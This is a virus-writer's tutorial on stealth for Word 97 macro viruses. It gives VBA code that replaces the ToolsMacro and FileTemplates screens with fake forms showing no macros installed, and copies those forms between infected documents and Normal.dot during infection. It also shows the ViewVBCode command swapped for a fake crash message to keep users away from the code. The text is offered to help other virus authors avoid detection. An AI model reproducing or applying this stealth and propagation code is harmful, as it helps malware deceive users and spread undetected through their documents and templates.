Stealth In Word 97

This is just a quick talking paper on the newly emerging capabilities of stealthing your Word 97 Macro Virii, I stumbled accross this technique when making "The Gambler". I hope this will stimulate new and better Stealth Techniques in Word 97.

So far in Word 97 the ability to stealth your Virii has not been easy to accomplish. It was either non-existent or when someone selected the ToolsMacro command, the Macro/programmer knowing that detection was eminent would perform some drastic action. In either case you were detected and cleaned off the template. If we could allow someone to look at the ToolsMacro window and reassure them that their system was not infected by showing a false screen. It might buy some time before they come back to the ToolsMacro screen and look really hard at it. This is what I believe to be the first attempt in "Word97" 
to Duplicate the ToolsMacro screen. Showing that there are no macros currently installed on the Normal.dot template. I created a UserForm and named it userform999 so that when being copied from the infected document it would not run into another file with the same name. From the Visual Basic design 
screen Import "Userform999.frm" to your project.  To call the Userform999 from your macro use the following  command. 


Sub ToolsMacro()
On Error GoTo Error
userform999.Show
Error:
End Sub

To copy the Userform during infection routine use the same command that is used to copy the Modules, just replace the module name with Userform999

From ActiveDocument To NormalTemplate:

Application.OrganizerCopy Source:=NormalTemplate.FullName, 
Destination:=ActiveDocument.FullName, Name:="userform999", Object:=wdOrganizerObjectProjectItems


From NormalTemplate To ActiveDocument:

Application.OrganizerCopy Source:=ActiveDocument.FullName, 
Destination:=NormalTemplate.FullName, Name:="userform999", Object:=wdOrganizerObjectProjectItems


That should take care of the ToolsMacro window, now we have the ToolsTemplate selection to deal with. From this selection the user can access the Macro Organizer that we spent so much time trying to hide. We can go about shutting this door pretty much the same way. "Userform900" in this case. Copy it the same way as Userform999. To call this "Userform900" use the followin routine.

Sub Filetemplates()
On Error GoTo Error
userform900.Show
Error:
End Sub

Ok, we have covered all the common/easy ways the normal user would use to investigate his system for infection. There is one left that I have not spent the time making a New "fake" screen for, The ViewVBcode screen. So for the mean time here is a cheap way of stopping access to theis area with out arrousing to much suspsnion "I hope". I think everyone out there has seen the "This program has prefromed an illegal operation" screen, Hopefully they will just cuss a little and press on and forget what they were looking for.


Sub ViewVBCode
MsgBox "This program has performed an illegal operation and will shut down.", vbCritical, "Microsoft Word"
End Sub


     Talon
The Eifel Epidemic